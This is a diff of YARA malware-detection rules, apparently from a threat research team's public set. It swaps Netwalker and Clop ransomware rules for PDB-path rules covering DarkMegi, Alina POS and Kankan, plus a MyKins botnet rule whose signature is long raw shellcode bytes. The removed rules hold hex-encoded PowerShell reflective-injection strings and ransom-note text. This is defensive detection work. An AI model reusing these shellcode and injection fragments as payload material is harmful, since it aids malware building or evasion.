??68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF?????????? } + $pdb = "\\eclipse\\botnet\\drivers\\Bin\\i386\\kernel.pdb" condition: - uint16( 0 ) == 0x5a4d and any of ( $pattern* ) + uint16( 0 ) == 0x5a4d and filesize < 80KB and any of them } - -rule TRELLIX_ARC_Netwalker_Signed : FILE +rule TRELLIX_ARC_Downloader_Darkmegi_Pdb : DOWNLOADER FILE { meta: - description = "Rule to detect Netwalker ransomware digitally signed." + description = "Rule to detect DarkMegi downloader based on PDB" author = "Marc Rivero | McAfee ATR Team" - id = "6806b917-2e02-57e3-887a-b4c12db83653" - date = "2020-03-30" - modified = "2020-11-20" - reference = "https://www.ccn-cert.cni.es/comunicacion-eventos/comunicados-ccn-cert/9802-publicado-un-informe-de-codigo-danino-sobre-netwalker.html" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_netwalker.yar#L30-L47" + id = "3ccc3685-e05b-5620-9198-24733fb1e7eb" + date = "2013-03-06" + modified = "2020-08-14" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_downloader_darkmegi.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "d78ed22771d7c93516375afb8fd2fd7baa40a357ec3c247939a10d11f80ae226" + hash = "bf849b1e8f170142176d2a3b4f0f34b40c16d0870833569824809b5c65b99fc1" + logic_hash = "47faf8c5296e651f82726a6e8a7843dfa0f98e7be7257d2c03efcff550f52140" score = 75 quality = 70 - tags = "FILE" - note = "The rule will hit also some Dridex samples digitally signed" + tags = "DOWNLOADER, FILE" + rule_version = "v1" + malware_type = "downloader" + malware_family = "Downloader:W32/DarkMegi" + actor_type = "Cybercrime" + actor_group = "Unknown" + + strings: + $pdb = "\\RKTDOW~1\\RKTDRI~1\\RKTDRI~1\\objchk\\i386\\RktDriver.pdb" condition: - uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "/CN=EWBTCAXQKUMDTHCXCZ" and pe.signatures [ i ] . serial == "17:16:bb:93:fb:a9:a2:41:ba:a8:2e:c7:5e:ff:0c" or pe.signatures [ i ] . thumbprint == "a4:28:e9:4a:61:3a:1f:cf:ff:08:bf:e7:61:51:64:31:1a:6f:87:bc" ) + uint16( 0 ) == 0x5a4d and filesize > 20000KB and any of them } -rule TRELLIX_ARC_Netwalker : RANSOMWARE FILE +rule TRELLIX_ARC_Alina_POS_PDB : POS FILE { meta: - description = "Rule based on code overlap in RagnarLocker ransomware" - author = "McAfee ATR team" - id = "80097a40-534a-5e1b-8fde-e4d832d76698" - date = "2020-06-14" - modified = "2020-11-20" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_netwalker.yar#L49-L75" + description = "Rule to detect Alina POS" + author = "Marc Rivero | McAfee ATR Team" + id = "9588aa10-d5e4-55f4-998c-a01503a53d3a" + date = "2013-08-08" + modified = "2020-08-14" + reference = "https://www.pandasecurity.com/mediacenter/pandalabs/alina-pos-malware/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_alina_pos_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "8c56ebed9e097d294045de46942c708da9ba7e01475dcecb0c3d41fcc8004780" + hash = "28b0c52c0630c15adcc857d0957b3b8002a4aeda3c7ec40049014ce33c7f67c3" + logic_hash = "9bb8260e3a47567e2460dd474fb74e57987e3d79eb30cdbc2a45b88a16ba1ca2" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "POS, FILE" rule_version = "v1" - malware_type = "ransomware" + malware_type = "pos" + malware_family = "Pos:W32/Alina" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $0 = {C88BF28B4330F76F3803C88B434813F2F76F2003C88B433813F2F76F3003C88B434013F2F76F2803C88B432813F2F76F4003C8894D6813F289756C8B4338F76F388BC88BF28B4328F76F4803C88B434813F2F76F2803C88B433013F2F76F400FA4CE} - $1 = {89542414895424108BEA8BDA8BFA423C22747C3C5C75588A023C5C744F3C2F744B3C2274473C6275078D5702B008EB3F3C6675078D5302B00CEB343C6E75078D5502B00AEB293C72750B8B542410B00D83C202EB1A3C74750B8B542414B00983C2} - $2 = {C8894D7013F28975748B4338F76F408BC88BF28B4340F76F3803C88B433013F2F76F4803C88B434813F2F76F3003C8894D7813F289757C8B4348F76F388BC88BF28B4338F76F4803C88B434013F2F76F400FA4CE} - $3 = {C07439473C2F75E380FB2A74DEEB2D8D4ABF8D422080F9190FB6D80FB6C28AD60F47D88AC6042080EA410FB6C880FA190FB6C60F47C83ACB754B46478A1684D2} - $4 = {8B433013F2F76F0803C88B432013F2F76F1803C88B0313F2F76F3803C88B430813F2F76F3003C88B433813F2F72F03C8894D3813F289753C8B4338F76F088BC8} - $5 = {F73101320E32213234329832E3320C332D334733643383339133A833BD33053463347C34543564358335AE36C3362937E9379A39BA390A3A203A443A183B2B3B} - $6 = {8B431813F2F76F4803C88B432813F2F76F3803C88B434013F2F76F200FA4CE0103C903C88B432013F2F76F4003C88B433013F2F76F3003C8894D6013F2897564} + $pdb = "\\Users\\dice\\Desktop\\SRC_adobe\\src\\grab\\Release\\Alina.pdb" condition: - uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and all of them + uint16( 0 ) == 0x5a4d and filesize < 100KB and any of them } -rule TRELLIX_ARC_Win_Netwalker_Reflective_Dll_Injection_Decoded : RANSOMWARE +rule TRELLIX_ARC_Backdoor_Kankan_Pdb : BACKDOOR FILE { meta: - description = "Rule to detect Reflective DLL Injection Powershell Script dropping Netwalker, after hexadecimal decoded and xor decrypted " - author = "McAfee ATR Team" - id = "9562c0b9-e7ac-5b96-99cc-1df91cb617af" - date = "2020-05-28" - modified = "2020-11-20" - reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/ | https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_netwalker.yar#L77-L140" + description = "Rule to detect kankan PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "6910ecc7-3c31-569b-a7ff-2dcbccff88f9" + date = "2013-08-01" + modified = "2020-08-14" + reference = "https://threatpoint.checkpoint.com/ThreatPortal/threat?threatType=malwarefamily&threatId=650" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_backdoor_kankan_pdb.yar#L1-L27" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "fd29001b8b635e6c51270788bab7af0bb5adba6917c278b93161cfc2bc7bd6ae" - logic_hash = "e99c045f39e7933e877a4df7793aa5ea6be5a782bb079419501929ba99844dec" + hash = "73f9e28d2616ee990762ab8e0a280d513f499a5ab2cae9f8cf467701f810b98a" + logic_hash = "3d2e45631dfca0e76e98eee4bb5c4ce1631906f497c052d8c41cc37637cb2760" score = 75 - quality = 30 - tags = "RANSOMWARE" + quality = 70 + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Kankan" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $api0 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 20 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 41 6c 6c 6f 63 22 29 5d } - $api1 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 22 29 5d } - $api2 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 4c 6f 61 64 4c 69 62 72 61 72 79 41 22 29 5d } - $api3 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 22 29 5d } - $api4 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 46 72 65 65 22 29 5d } - $api5 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 22 29 5d } - $api6 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 6c 6f 73 65 48 61 6e 64 6c 65 22 29 5d } - $api7 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 3d 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 22 29 5d } - $api8 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 3d 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 45 78 22 29 5d } - $api9 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 4f 70 65 6e 50 72 6f 63 65 73 73 22 29 5d } - $api10 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 22 29 5d } - $artifact0 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 22 29 5d } - $artifact1 = { 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 75 63 74 75 72 65 } - $artifact2 = { 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 52 65 61 64 49 6e 74 31 36 } - $artifact3 = { 65 6e 76 3a 57 49 4e 44 49 52 5c 73 79 73 77 6f 77 36 34 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c 76 31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 22 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 65 78 65 63 20 62 79 70 61 73 73} - $artifact4 = { 65 6e 76 3a 57 49 4e 44 49 52 5c 73 79 73 77 6f 77 36 34 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c 76 31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 22 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 65 78 65 63 20 62 79 70 61 73 73 20 2d 66 69 6c 65} - $artifact5 = {5b 50 61 72 61 6d 65 74 65 72 28 50 6f 73 69 74 69 6f 6e 20 3d 20 30 20 2c 20 4d 61 6e 64 61 74 6f 72 79} - $artifact6 = {5b 50 61 72 61 6d 65 74 65 72 28 50 6f 73 69 74 69 6f 6e 20 3d 20 31 20 2c 20 4d 61 6e 64 61 74 6f 72 79} - $artifact7 = {2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 50 61 73 73 20 2d 4e 6f 4c 6f 67 6f 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 4e 6f 45 78 69 74} - $artifact8 = {72 65 74 75 72 6e 20 5b 42 69 74 43 6f 6e 76 65 72 74 65 72 5d 3a 3a 54 6f 49 6e 74 36 34} + $pdb = "\\Projects\\OfficeAddin\\INPEnhSvc\\Release\\INPEnhSvc.pdb" + $pdb1 = "\\Projects\\OfficeAddin\\OfficeAddin\\Release\\INPEn.pdb" + $pdb2 = "\\Projects\\OfficeAddinXJ\\VOCEnhUD\\Release\\VOCEnhUD.pdb" condition: - 6 of ( $api* ) or ( ( 3 of ( $artifact* ) ) ) + uint16( 0 ) == 0x5a4d and filesize < 500KB and any of them } -rule TRELLIX_ARC_Clop_Ransom_Note : RANSOMWARE FILE +rule TRELLIX_ARC_Shellcode_Mykins_Botnet : SHELLCODE FILE { meta: - description = "Rule to detect Clop Ransomware Note" + description = "Rule to detect the shellcode used in the MyKins Botnet" author = "Marc Rivero | McAfee ATR Team" - id = "b18e4d4d-aa38-5009-a31b-ed038c5bd4f9" - date = "2019-08-01" + id = "9dc80b27-59e2-5925-9bb7-64a54241f52b" + date = "2018-01-24" modified = "2020-08-14" - reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_ClopRansomNote.yar#L1-L34" + reference = "https://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_shellcode_mykins_botnet.yar#L1-L27" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "a90862e9dc59b1a8f38b777b4f529d5de740d0f49175813cae64f10ca9677826" + logic_hash = "5fa54c41a423d776d05bdac5b171ee685f54372b4e6aa41b57cce769ac2c6976" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "SHELLCODE, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Clop" + malware_type = "shellcode" + malware_family = "ShellCode:W32/MyKins" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "If you want to restore your files write to emails" fullword ascii - $s2 = "All files on each host in the network have been encrypted with a strong algorithm." fullword ascii - $s3 = "Shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover." fullword ascii - $s4 = "You will receive decrypted samples and our conditions how to get the decoder." fullword ascii - $s5 = "DO NOT RENAME OR MOVE the encrypted and readme files." fullword ascii - $s6 = "(Less than 6 Mb each, non-archived and your files should not contain valuable information" fullword ascii - $s7 = "We exclusively have decryption software for your situation" fullword ascii - $s8 = "Do not rename encrypted files." fullword ascii - $s9 = "DO NOT DELETE readme files." fullword ascii - $s10 = "Nothing personal just business" fullword ascii - $s11 = "eqaltech.su" fullword ascii + $a = { 4883EC28E847000000488D0DF0FFFFFF488D1539000000482BCA4803C14883C428C3CCCC488D05D5FFFFFF482BC8488BC1C3CCCC4883EC28E83F0D000033C04883C428C3CCCCCCCCCCCCCCCCCCCCCCCCE8000000005848B95510004001000000482BC148B950100040010000004803C1C3CCCCCC48897C24084C8BC94D85C0740C488BF9480FBEC2498BC8F3AA488B7C2408498BC1C3CCCC40534883EC20488BD9E85AFFFFFF488D0D53FFFFFF482BD94803C34883C4205BC3CCCCCC33D28BC2EB06FFC04883C10266391175F5F3C3CC668339004C8BC1740B4983C002664183380075F54C2BC20FB70266418904104883C2026685C075EF488BC1C34C8BC14C2BC20FB70266418904104883C2026685C075EF488BC1C3CC4C8BC14C2BC28A024188041048FFC284C075F3488BC1C3CC8039004C8BC1740949FFC04180380075F74C2BC28A024188041048FFC284C075F3488BC1C3CCCCCC48895C24084533D2458BCA4585C07E320FB702663901741A0FB719440FB7D88BC3412BC383F8207409442BDB4183FB20751041FFC14883C1024883C202453BC87CCE488B5C2408453BC8410F95C2418BC2C3CCCC4533C948895108458BC16644390A740D41FFC04963C06644390C4275F3664503C066448901664183C0026644894102C34883EC3833C04C8BD233D248895424228954242A668954242E66894424204885C9741A4D85D27415488BD1488D4C2420E89BFFFFFF488D4C242041FFD24883C438C3CCCC4883EC284863C14C8BCA4C8D44243833D233C94869C0F0D8FFFF488944243841FFD14883C428C3CC48895C241048897C241855488BEC4883EC604883651000488365C800488365D800488365E000488365F000488365F800498BD9498BF848894DC0488BC24C8D4DC04C8D45D0488D4D10BAFFFF1F00C745D030000000C745E840020000FFD0488B4D104885C9740DBA01000000FFD7488B4D10FFD34C8D5C2460498B5B18498B7B20498BE35DC3CCCC488BC44889580848896810565741544883EC308360D80083601800498BF18BEA4C8BE1498BD833FF4C8D4818488D50D88D4F054533C0FFD3894424208B44246085C0750733C0E9C20000008D14004533C033C9FFD6448B4424604C8D4C2460488BD0B9050000004503C0488BF0FFD38944242085C0740B33D2488BCEFF542470EBC28B4C246048B81986611886611886488BDE48F7E1482BCA48D1E94803CA48C1E908894C2460488B4B404885C9742E0FB743383BC57C262BC5992BC2D1F84C63C8781A8BC54A8D0C49992BC2498BD4D1F8448BC0E8AEFDFFFF85C0740B393B740B8B034803D8EBBE488B7B50488B4424784885C0740A4885FF7405488918EB0933D2488BCEFF542470488BC7488B5C2450488B6C24584883C430415C5F5EC3C20000CC4585C07410482BCA8A0288041148FFC241FFC875F3F3C3CC40534883EC20488BD9E8E6FBFFFF488D0DDFFBFFFF482BD94803C34883C4205BC3CCCCCC48895C2408488974241048897C24185541544155488BEC4883EC404863413C4C8BC1B90B020000488BF2C745E04D6D4765C745E474537973C745E874656D52C745EC6F757469C745F06E654164C745F46472657366C745F873006642394C00180F8584000000428B8400880000004533D24903C08B50208B58248B781C448B68184903D04903D84903F84585ED745B8B024533C94903C044380874234C8D5DE0488BC84C2BD8458A240B4584E47410443821750B48FFC149FFC180390075E741803C0100750842807C0DE000740E41FFC24883C204453BD57310EBB3420FB70C538B048F4903C0488906488B1E4885DB750883C8FFE9E1020000488D0D47340000E8D6FEFFFF488BD3488BC8E89BFCFFFF488D0D5034000048898690000000E8B8FEFFFF488B16488BC8E87DFCFFFF488D0D5A34000048898698000000E89AFEFFFF488B16488BC8E85FFCFFFF488D0D6C34000048894608E87FFEFFFF488B16488BC8E844FCFFFF488D0D8934000048894610E864FEFFFF488B16488BC8E829FCFFFF488D0D9E34000048894618E849FEFFFF488B16488BC8E80EFCFFFF488D0DAB34000048894620E82EFEFFFF488B16488BC8E8F3FBFFFF488D0DC834000048894628E813FEFFFF488B16488BC8E8D8FBFFFF488D0DE534000048894630E8F8FDFFFF488B16488BC8E8BDFBFFFF488D0D0235000048894638E8DDFDFFFF488B16488BC8E8A2FBFFFF488D0DF734000048894640E8C2FDFFFF488B16488BC8E887FBFFFF488D0DFC34000048894648E8A7FDFFFF488B16488BC8E86CFBFFFF488D0D0935000048894650E88CFDFFFF488B16488BC8E851FBFFFF488D0D0E35000048894658E871FDFFFF488BC8488B16E836FBFFFF488D0D2B35000048894660E856FDFFFF488B16488BC8E81BFBFFFF488D0D5035000048894668E83BFDFFFF488B16488BC8E800FBFFFF488D0D5D35000048894670E820FDFFFF488B16488BC8E8E5FAFFFF488D0D7235000048894678E805FDFFFF488B16488BC8E8CAFAFFFF488D0D8735000048898680000000E8E7FCFFFF488B16488BC8E8ACFAFFFF488D0D8935000048898688000000E8C9FCFFFF488B16488BC8E88EFAFFFF488D0D8B350000488986A0000000E8ABFCFFFF488B16488BC8E870FAFFFF488D0D95350000488986A8000000E88DFCFFFF488B16488BC8E852FAFFFF488D0DA7350000488986B0000000E86FFCFFFF488B16488BC8E834FAFFFF488D0DA1350000488986B8000000E851FCFFFF488B16488BC8E816FAFFFF488D0DA3350000488986C0000000E833FCFFFF488B16488BC8E8F8F9FFFF488D0DA5350000488986C8000000E815FCFFFF488B16488BC8E8DAF9FFFF488986D000000033C0488B5C2460488B742468488B7C24704883C440415D415C5DC348895C24085556574154415541564157488DAC2410FEFFFF4881ECF00200004533FF488BD9498BF8488BF2488D8DE100000041B80301000033D24C897C24504C897C24604C897C24704C897C24684C89BD480200004488BDE0000000E8EFF7FFFF488D4DC0C745C01C010000FF9688000000837DC40675488B45C885C0752780BDDA00000001754D83C8FF488B9C24300300004881C4F0020000415F415E415D415C5F5E5DC383F801742A83F802740583F80375D380BDDA000000017517EBC8837DC40A75C244397DC875BC80BDDA0000000175B3488BD7488BCBFF56384C393F74A541BD300000004C897C243041BE000000084C8D8D380200004C8D442478488D4C2460418D55DEBB00020000448974242848C785380200004729000044896C24784C897D80895D904C897D884C897D984C897DA0C744242040000000FF96900000004C397C24607509418D45CEE937FFFFFF895D90BB040000004C897C24304C8D8D380200004C8D442478488D4C24708D530241BC1F4C1000448974242844896C24784C897D804C897D884C89A5380200004C897D984C897DA0895C2420FF9690000000488B0F4C8D7708498BD64C8975B0FF5678488B4C2460C74424484000000044897C2440C744243802000000488D44245048894424304C8D85480200004533C94883CAFF4C897C242848C744242000200000FF9698000000488B4C2470895C244844897C2440C744243802000000488D44245048894424304C8D4424684533C94883CAFF4C897C24284C897C24504C89642420 } + $b = { E800000000582D051040000500104000C3558BEC8B45082D001040005DC20400558BECFF7508E80A0A000033C05DC20400558BEC8B4D1085C9741F0FB6450C69C0010101018BD153578B7D08C1E902F3AB8BCA83E103F3AA5F5B8B45085DC3558BECE899FFFFFF8B4D0881E90010400003C15DC20400558BEC8B4D0833C066390174084066833C410075F85DC20400558BEC8B450866833800568BF0740983C60266833E0075F78B4D0C2BF10FB7116689140E83C1026685D275F15E5DC20800558BEC8B55088B450C2BD00FB70866890C0283C0026685C975F18B45085DC20800558BEC8B55088B450C2BD08A08880C024084C975F68B45085DC20800558BEC8B4508803800568BF0740646803E0075FA8B4D0C2BF18A1188140E4184D275F65E5DC20800558BEC5633F63975107E2D8B45088B4D0C0FB704700FB70C71663BC174148BD08BC18BCA2BC883F92074072BC283F8207506463B75107CD333C03B75105E0F95C05DC20C00558BEC8B450C8B550850894204E8FAFEFFFF03C066890283C002668942025DC20800558BEC51515733C0668945F88D7DFAAB33C966AB5F394D08741A394D0C7415FF75088D45F850E8B3FFFFFF8D45F850FF550C8BC88BC1C9C20800558BEC51518B45086AFF9968F0D8FFFF5250E8730A00008945F88D45F8506A006A008955FCFF550CC9C20800558BEC83EC248B4508568945F48D45F4508D45DC5033F668FFFF1F008D45FC508975FC8975F8C745DC180000008975E0C745E8400200008975E48975EC8975F0FF550C3975FC5E740E6A01FF75FCFF5510FF75FCFF5514C9C21000558BEC83EC0C538D45FC5033DB538D45F8506A05895DF8895DFCFF55108945F88B45FC3BC3750733C0E99E000000565303C05053FF55148BF08D45FC508B45FC03C050566A05897514FF55108945F83BC374095356FF551833C0EB6F8B45FC33D2B9F8000000F7F1578945FC8B7E3C3BFB742E0FB746383B450C7C252B450C992BC28BC8D1F978198B450C992BC2D1F850FF75088D044F50E83BFEFFFF85C0740A8B063BC3740903F0EBC18B7E44EB028BFB8B451C3BC374083BFB74048930EB0753FF7514FF55188BC75F5E5BC9C21800C21400558BEC837D100074178B4D088B450C2BC88A10FF4D1088140140837D100075F15DC20C00558BECE8B3FCFFFF8B4D0881E90010400003C15DC20400558BEC83EC2C538B5D088B433CB90B010000568B750CC745D44D6D4765C745D874537973C745DC74656D52C745E06F757469C745E46E654164C745E86472657366C745EC730066394C18180F858F0000008B44187803C38B501C8B482003D3578B78248B40188955F033D203CB03FB8955FC8945F485C07466EB038B5D088B149183650C0003D3803A0074238D5DD42BDA8BC2895DF8EB038B5DF88A1C0384DB740D38187509FF450C4080380075E98B450C803C10007507807C05D400740E8B55FC428955FC3B55F472B0EB128B45FC0FB704478B4DF08B048103450889065F8B0685C0750883C8FFE9230200005068D0414000E8F0FEFFFF50E831FDFFFFFF3689464868F0414000E8DBFEFFFF50E81CFDFFFFFF3689464C6818424000E8C6FEFFFF50E807FDFFFFFF368946046844424000E8B1FEFFFF50E8F2FCFFFFFF368946086878424000E89CFEFFFF50E8DDFCFFFFFF3689460C68A8424000E887FEFFFF50E8C8FCFFFFFF3689461068CC424000E872FEFFFF50E8B3FCFFFFFF368946146800434000E